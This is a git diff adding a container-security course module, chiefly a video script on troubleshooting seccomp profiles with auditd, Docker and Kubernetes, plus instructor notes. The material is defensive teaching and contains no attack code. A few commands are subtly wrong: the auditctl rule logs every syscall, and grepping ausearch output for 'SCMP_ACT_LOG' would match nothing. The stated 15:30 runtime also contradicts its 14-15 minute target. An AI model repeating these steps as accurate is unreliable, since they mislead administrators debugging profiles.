`nginx_syscalls.txt` (example output) +- `seccomp-nginx.json` (completed profile) +- `build_profile.py` (automation script) +- `flask_sample_app.py` (for lab) +- `lab_3.2_instructions.md` +- `lab_3.2_validation.sh` + +--- + +## INSTRUCTOR NOTES + +**Common Issues:** +- strace may not be available in some minimal containers - install with package manager +- `-f` flag in strace is critical for multi-process apps like nginx +- Some distributions limit strace usage - may need `--cap-add SYS_PTRACE` +- pbcopy command is macOS-specific; use xclip on Linux or manual copy + +**Variation Options:** +- Can use `seccomp-tools` for automated profile generation +- Can demonstrate with alternative apps (Redis, PostgreSQL, Node.js) +- Can show Docker Compose integration +- Advanced: show how to use bpftrace instead of strace + +**Accessibility:** +- Slow down when typing complex commands +- Read JSON structure aloud +- Pause 3 seconds after each command output +- Use zoom-in on terminal when showing specific syscall names + +**Pro Tips for Delivery:** +- Have all files pre-created as backup in case live demo fails +- Test commands before recording +- Keep a "cheat sheet" of syscalls to discuss if time permits +- Mention real-world case: how companies like Google use custom Seccomp profiles diff --git a/container-security-course/sample_module/video_02_script.pdf b/container-security-course/sample_module/video_02_script.pdf new file mode 100644 index 0000000..76ccad0 Binary files /dev/null and b/container-security-course/sample_module/video_02_script.pdf differ diff --git a/container-security-course/sample_module/video_03_script.docx b/container-security-course/sample_module/video_03_script.docx new file mode 100644 index 0000000..e2c1200 Binary files /dev/null and b/container-security-course/sample_module/video_03_script.docx differ diff --git a/container-security-course/sample_module/video_03_script.md b/container-security-course/sample_module/video_03_script.md new file mode 100644 index 0000000..4c19938 --- /dev/null +++ b/container-security-course/sample_module/video_03_script.md @@ -0,0 +1,573 @@ +# Video Script: Advanced Seccomp - Troubleshooting and Best Practices +**Module 3, Video 3 of 3** +**Estimated Duration:** 14-15 minutes +**Technical Setup:** 1920x1080 @ 30fps, 150% zoom on all screens + +--- + +## Pre-Production Checklist +- [ ] PowerPoint slides (5 slides) ready +- [ ] auditd installed and running on host +- [ ] Terminal multiplexer (tmux) configured +- [ ] Kubernetes cluster (minikube/kind) with test deployment +- [ ] Sample broken Seccomp profiles prepared +- [ ] Production-ready profile examples downloaded +- [ ] Browser tabs: Kubernetes docs, production Seccomp examples from GitHub + +--- + +## VIDEO SCRIPT + +### SEGMENT 1: Introduction - The Reality of Seccomp in Production (0:00 - 1:30) +**[SCREEN: PPT Slide 1 - Title slide with debugging theme]** + +**NARRATION:** +"Welcome to the final video in our Seccomp module. We've learned what Seccomp is and how to build custom profiles. But here's what happens in the real world: you deploy your carefully crafted profile, everything seems fine, and then at 3 AM on a Saturday, your application breaks because it tried to make a syscall you didn't account for. + +**[TRANSITION: PPT Slide 2 - Production incident timeline graphic]** + +Debugging Seccomp issues is challenging because: +- Error messages are often vague +- Failures only happen under specific conditions +- The kernel doesn't always tell you which syscall was blocked + +In this video, you'll learn: +- How to read kernel audit logs to identify blocked syscalls +- Debugging techniques for broken profiles +- Strategies for balancing security and functionality +- Best practices for production deployments +- How to integrate Seccomp with Kubernetes + +Let's start with the most important skill: troubleshooting when things go wrong." + +--- + +### SEGMENT 2: Anatomy of a Seccomp Failure (1:30 - 4:30) +**[SCREEN: Terminal - fullscreen]** + +**NARRATION:** +"Let me show you a realistic scenario. I have a Node.js application that works fine with Docker's default Seccomp profile, but I want to lock it down with a custom profile." + +**[TYPE:]** +```bash +cat app.js +``` + +**[FILE DISPLAYS - simple Express.js app:]** +```javascript +const express = require('express'); +const app = express(); + +app.get('/', (req, res) => { + res.send('Hello from secured app!'); +}); + +app.listen(3000, () => { + console.log('Server running on port 3000'); +}); +``` + +**NARRATION:** +"Simple Express server. I've created what I think is a complete Seccomp profile for it. Let's try running it." + +**[TYPE:]** +```bash +docker run --rm --security-opt seccomp=seccomp-nodejs-broken.json \ + -p 3000:3000 \ + node:18-alpine \ + node /app/app.js +``` + +**[COMMAND FAILS or APP HANGS]** + +**[ERROR OUTPUT - something like: "Error: Cannot listen on port" or silent failure]** + +**NARRATION:** +"It failed, but the error doesn't tell us which syscall was blocked. This is the frustrating part. Let me show you how to debug this properly." + +**[SCREEN: Terminal split - 2 panes]** + +**NARRATION:** +"First, we need to enable audit logging. On the host system, I'll check if auditd is running and configure it to log Seccomp denials." + +**[LEFT PANE - TYPE:]** +```bash +sudo systemctl status auditd +``` + +**[OUTPUT shows auditd is active]** + +**NARRATION:** +"Good, auditd is running. Now I'll configure it to log Seccomp events. Seccomp denials trigger audit log entries with type 1326." + +**[TYPE:]** +```bash +sudo auditctl -a exit,always -F arch=b64 -S all -F key=seccomp +``` + +**NARRATION:** +"This tells auditd to log all syscalls on 64-bit architecture with the 'seccomp' key. Now let's run our broken container again." + +**[RIGHT PANE - TYPE:]** +```bash +docker run --rm --security-opt seccomp=seccomp-nodejs-broken.json \ + -p 3000:3000 \ + node:18-alpine \ + node /app/app.js +``` + +**[APP FAILS AGAIN]** + +**[LEFT PANE - TYPE immediately:]** +```bash +sudo ausearch -m SECCOMP -ts recent | tail -20 +``` + +**[OUTPUT shows audit log entries - highlight key parts:]** +``` +type=SECCOMP msg=audit(1699123456.789:123): auid=1000 uid=0 gid=0 \ + ses=1 pid=12345 comm="node" exe="/usr/local/bin/node" \ + sig=31 arch=c000003e syscall=41 compat=0 ip=0x7f8a9b... code=0x7ffc0000 +``` + +**NARRATION:** +"There it is! Look at the line that says `syscall=41`. That's a syscall number, not a name. We need to translate it." + +**[TYPE:]** +```bash +ausyscall 41 +``` + +**[OUTPUT:]** +``` +socket +``` + +**NARRATION:** +"Ah! The `socket` syscall was blocked. Node.js needs this to create network sockets for the HTTP server. This is exactly what we were missing from our profile." + +--- + +### SEGMENT 3: Fixing the Profile (4:30 - 7:00) +**[SCREEN: Code Editor - seccomp-nodejs-broken.json]** + +**NARRATION:** +"Let's add the missing syscall. Here's our current profile—it has common syscalls but is missing networking-related ones." + +**[SCROLL to syscalls array]** + +**[HIGHLIGHT where socket should be added:]** + +**NARRATION:** +"I'll add socket and related networking syscalls that Node.js needs." + +**[ADD to the names array:]** +```json +"socket", +"setsockopt", +"bind", +"listen", +"accept", +"accept4", +``` + +**[SAVE file as seccomp-nodejs-fixed.json]** + +**[SCREEN: Terminal]** + +**[TYPE:]** +```bash +docker run --rm --security-opt seccomp=seccomp-nodejs-fixed.json \ + -p 3000:3000 -d \ + --name nodejs-secure \ + node:18-alpine \ + node /app/app.js +``` + +**[CONTAINER STARTS SUCCESSFULLY]** + +**NARRATION:** +"It started! Let's verify it's working." + +**[TYPE:]** +```bash +curl http://localhost:3000 +``` + +**[OUTPUT:]** +``` +Hello from secured app! +``` + +**NARRATION:** +"Perfect! This is the iterative process: run, fail, check audit logs, add missing syscalls, repeat. Now let's verify no more denials are happening." + +**[TYPE:]** +```bash +sudo ausearch -m SECCOMP -ts recent | grep nodejs +``` + +**[OUTPUT shows no new denials]** + +**NARRATION:** +"Clean. No denials. The profile is working correctly." + +--- + +### SEGMENT 4: Advanced Debugging Techniques (7:00 - 9:30) +**[SCREEN: PPT Slide 3 - Debugging toolbox diagram]** + +**NARRATION:** +"Beyond audit logs, here are additional debugging techniques: + +**[BULLET POINTS APPEAR AS MENTIONED:]** + +**1. Verbose Logging:** Run your app with debug flags to see what it's trying to do +**2. Strace Comparison:** Compare strace output with your profile to find gaps +**3. Permissive Mode:** Temporarily use SCMP_ACT_LOG instead of SCMP_ACT_ERRNO +**4. Kernel Messages:** Check dmesg for Seccomp-related kernel messages + +Let me demonstrate permissive mode—this is incredibly useful." + +**[SCREEN: Code Editor - create seccomp-nodejs-log.json]** + +**NARRATION:** +"I'll create a version of our profile that logs denials instead of blocking them. This lets the app run while you discover what syscalls are being denied." + +**[TYPE - showing the key difference:]** +```json +{ + "defaultAction": "SCMP_ACT_LOG", + "architectures": [ + "SCMP_ARCH_X86_64" + ], + "syscalls": [ + { + "names": ["exit", "exit_group", "read", "write"], + "action": "SCMP_ACT_ALLOW" + } + ] +} +``` + +**NARRATION (highlighting defaultAction):** +"See? `SCMP_ACT_LOG` instead of `SCMP_ACT_ERRNO`. This means: allow everything, but log which syscalls would have been blocked." + +**[SCREEN: Terminal]** + +**[TYPE:]** +```bash +docker run --rm --security-opt seccomp=seccomp-nodejs-log.json \ + node:18-alpine node /app/app.js +``` + +**[APP RUNS SUCCESSFULLY]** + +**NARRATION:** +"The app works, and in the background, auditd is logging which syscalls aren't in our profile. After running for a while, we can check the logs." + +**[TYPE:]** +```bash +sudo ausearch -m SECCOMP -ts recent | grep 'SCMP_ACT_LOG' | \ + awk '{print $NF}' | sort -u +``` + +**[OUTPUT shows list of syscall numbers that were logged]** + +**NARRATION:** +"These are all the syscalls our app uses that we haven't explicitly allowed. We can convert these to names and add them to a production profile. This is how you build comprehensive profiles without breaking your app during development." + +--- + +### SEGMENT 5: Production Best Practices (9:30 - 12:00) +**[SCREEN: PPT Slide 4 - Best practices checklist]** + +**NARRATION:** +"Now let's talk about production-ready Seccomp strategies. Here are the key principles: + +**[POINTS APPEAR AS DISCUSSED:]** + +**1. Start Permissive, Then Restrict** + +**[SCREEN: Terminal]** + +**NARRATION:** +"Deploy with SCMP_ACT_LOG first in staging. Collect data for at least a week, covering all app functionality—scheduled jobs, error handling, admin tasks. Then build your production profile from that data." + +**[SCREEN: PPT - continues]** + +**2. Layer Your Policies** + +**NARRATION:** +"Don't rely on Seccomp alone. Combine it with: +- AppArmor or SELinux (which we'll cover in the next module) +- Read-only root filesystems +- User namespace isolation +- Network policies + +Think defense in depth." + +**3. Document Your Decisions** + +**[SCREEN: Code Editor - showing commented profile]** + +**NARRATION:** +"Look at this production profile example:" + +**[DISPLAY:]** +```json +{ + "defaultAction": "SCMP_ACT_ERRNO", + "comment": "Custom profile for nginx v1.24 - Updated 2026-07-01", + "architectures": ["SCMP_ARCH_X86_64", "SCMP_ARCH_X86", "SCMP_ARCH_X32"], + "syscalls": [ + { + "names": ["socket", "bind", "listen", "accept4"], + "action": "SCMP_ACT_ALLOW", + "comment": "Required for HTTP server functionality" + }, + { + "names": ["clone", "fork", "vfork"], + "action": "SCMP_ACT_ALLOW", + "comment": "Worker process spawning - needed for multi-worker mode" + } + ] +} +``` + +**NARRATION:** +"See the comments? They explain WHY each syscall is allowed. Six months from now when you're updating nginx, you'll thank yourself for this documentation." + +**[SCREEN: PPT Slide 5 - Maintenance strategy]** + +**4. Version and Test** + +**NARRATION:** +"Treat Seccomp profiles like code: +- Store in version control +- Pin to application versions +- Test profile updates in CI/CD +- Have rollback procedures + +When your application updates, re-run strace and validate the profile still covers all functionality." + +**5. Monitor and Alert** + +**[SCREEN: Browser - showing sample Prometheus/Grafana dashboard]** + +**NARRATION:** +"In production, monitor Seccomp denials. Set up alerts for unexpected syscall blocks. This helps you catch issues before they become incidents." + +--- + +### SEGMENT 6: Seccomp in Kubernetes (12:00 - 14:00) +**[SCREEN: Code Editor - Kubernetes YAML]** + +**NARRATION:** +"Finally, let's see how to use Seccomp profiles in Kubernetes. Kubernetes has built-in support for Seccomp, and it's easier than you might think." + +**[DISPLAY Kubernetes Pod manifest:]** + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: nginx-secure +spec: + securityContext: + seccompProfile: + type: Localhost + localhostProfile: profiles/nginx-custom.json + containers: + - name: nginx + image: nginx:alpine + ports: + - containerPort: 80 +``` + +**NARRATION (explaining key parts):** +"The `securityContext` at the pod level sets the Seccomp profile. +- `type: Localhost` means use a custom profile from the node +- `localhostProfile` specifies the path relative to the kubelet's Seccomp directory + +You need to place your JSON profile on each node at `/var/lib/kubelet/seccomp/profiles/nginx-custom.json`." + +**[SCREEN: Terminal]** + +**NARRATION:** +"Kubernetes also supports the RuntimeDefault profile, which uses the container runtime's default—usually Docker or containerd's default." + +**[SHOW alternative YAML:]** +```yaml +securityContext: + seccompProfile: + type: RuntimeDefault +``` + +**NARRATION:** +"This is a good starting point. It's better than nothing, but custom profiles are more secure." + +**[TYPE command to apply:]** +```bash +kubectl apply -f nginx-secure-pod.yaml +``` + +**[POD STARTS]** + +**[TYPE:]** +```bash +kubectl get pod nginx-secure -o jsonpath='{.spec.securityContext.seccompProfile}' +``` + +**[OUTPUT shows profile configuration]** + +**NARRATION:** +"There's our profile configuration. One challenge with Kubernetes is profile management at scale. Solutions include: +- ConfigMaps to distribute profiles +- Init containers to fetch profiles from a central repo +- Admission controllers to enforce Seccomp requirements +- Tools like Security Profiles Operator for automated management + +The Security Profiles Operator is particularly powerful—it can record profiles from running workloads, similar to our strace approach but automated." + +--- + +### SEGMENT 7: Lab Exercise and Real-World Scenarios (14:00 - 14:45) +**[SCREEN: PPT Slide 6 - Lab overview]** + +**NARRATION:** +"Now for your final lab in this module: Lab 3.3 and 3.4. + +**Lab 3.3** - You're given a multi-container application that's failing with a Seccomp profile. Using the troubleshooting techniques we covered: +- Enable audit logging +- Identify blocked syscalls +- Fix the profile +- Validate all functionality works + +**Lab 3.4** - Production readiness exercise: +- Deploy an app with SCMP_ACT_LOG +- Run comprehensive tests +- Build a production profile +- Deploy to Kubernetes +- Set up monitoring + +You'll also get a bonus challenge: a profile that's TOO permissive. Your job is to identify unnecessary syscalls and remove them without breaking functionality." + +--- + +### SEGMENT 8: Module Wrap-Up and Next Steps (14:45 - 15:30) +**[SCREEN: PPT Slide 7 - Module summary and next steps]** + +**NARRATION:** +"Let's recap this entire Seccomp module: + +**Video 1:** We learned what Seccomp is, how it filters syscalls, and analyzed Docker's default profile. + +**Video 2:** We built custom profiles using strace, reducing attack surface by 80%+. + +**Video 3:** We mastered troubleshooting with audit logs, explored best practices, and deployed to Kubernetes. + +**Key Takeaways:** +✅ Seccomp is your most powerful tool for syscall filtering +✅ Custom profiles dramatically reduce attack surface +✅ Audit logs are essential for debugging +✅ Start with permissive mode, then restrict +✅ Document, version, and test your profiles +✅ Seccomp works seamlessly with Kubernetes + +**What's Next?** + +In Module 4, we'll explore AppArmor and SELinux—Mandatory Access Control systems that work alongside Seccomp. While Seccomp controls syscalls, MAC systems control file access, process interactions, and more. + +Together, Seccomp + MAC creates a nearly impenetrable security layer. + +See you in the next module!" + +**[FADE OUT]** + +--- + +## POST-PRODUCTION NOTES + +### B-Roll Suggestions: +- Animated audit log flow diagram +- Screen recording of real audit logs scrolling +- Kubernetes dashboard showing pod security +- Side-by-side: broken vs. fixed profile comparison + +### Audio Notes: +- Use suspenseful music during the "failure" section +- Add triumphant tone when profile is fixed +- Boost volume on audit log explanations +- Add subtle "typing" sound effects during code editing + +### Text Overlays: +- Large syscall names when first identified in logs +- "BEFORE" and "AFTER" labels during fix demonstration +- Step-by-step troubleshooting checklist that builds as you go +- Key command syntax for ausearch and ausyscall + +### Timing Checkpoints: +- 0:00-1:30: Intro (1.5 min) +- 1:30-4:30: Failure scenario (3 min) +- 4:30-7:00: Fixing the profile (2.5 min) +- 7:00-9:30: Advanced debugging (2.5 min) +- 9:30-12:00: Best practices (2.5 min) +- 12:00-14:00: Kubernetes integration (2 min) +- 14:00-14:45: Lab intro (0.75 min) +- 14:45-15:30: Wrap-up (0.75 min) +- **Total: 15:30** (within 14-15 min target) + +### Files Needed: +- `slides_module3_video3.pptx` (7 slides) +- `seccomp-nodejs-broken.json` +- `seccomp-nodejs-fixed.json` +- `seccomp-nodejs-log.json` +- `nginx-secure-pod.yaml` +- `app.js` (sample Node.js app) +- `lab_3.3_instructions.md` +- `lab_3.4_instructions.md` +- `lab_validation.sh` +- Sample production profiles from real projects (github.com examples) + +--- + +## INSTRUCTOR NOTES + +**Common Issues:** +- auditd may not be installed - install with `apt-get install auditd` +- ausearch requires root/sudo access +- Kubernetes Seccomp profiles must exist on ALL nodes in the cluster +- syscall numbers differ between architectures (x86 vs ARM) + +**Variation Options:** +- Can demonstrate with Podman instead of Docker +- Can show OCI runtime integration +- Advanced: demonstrate Security Profiles Operator in Kubernetes +- Can show integration with Falco for runtime monitoring + +**Accessibility:** +- Slow down during audit log analysis—this is complex +- Highlight specific syscall numbers in terminal output +- Use color coding for "blocked" vs "allowed" syscalls +- Repeat key commands before executing + +**Pro Tips for Delivery:** +- Pre-configure auditd to avoid live setup issues +- Have working profiles as backup files +- Test Kubernetes demo in advance +- Keep a syscall reference chart visible for Q&A +- Mention that production companies like Google, Netflix have published profiles as examples + +**Discussion Points (if time permits):** +- Trade-offs: security vs. maintainability +- Seccomp vs. eBPF for syscall filtering +- How Seccomp interacts with ptrace and debugging +- Seccomp in rootless containers +- Performance impact (minimal, usually <1%) + +**Real-World Examples to Mention:** +- Chrome browser uses Seccomp for sandboxing +- systemd uses Seccomp for service isolation +- Docker/containerd default profiles used by millions of containers +- Kubernetes PodSecurityStandards include Seccomp requirements diff --git a/container-security-course/sample_module/video_03_script.pdf b/container-security-course/sample_module/video_03_script.pdf new file mode 100644 index 0000000..3441f5f Binary files /dev/null and b/container-security-course/sample_module/video_03_script.pdf differ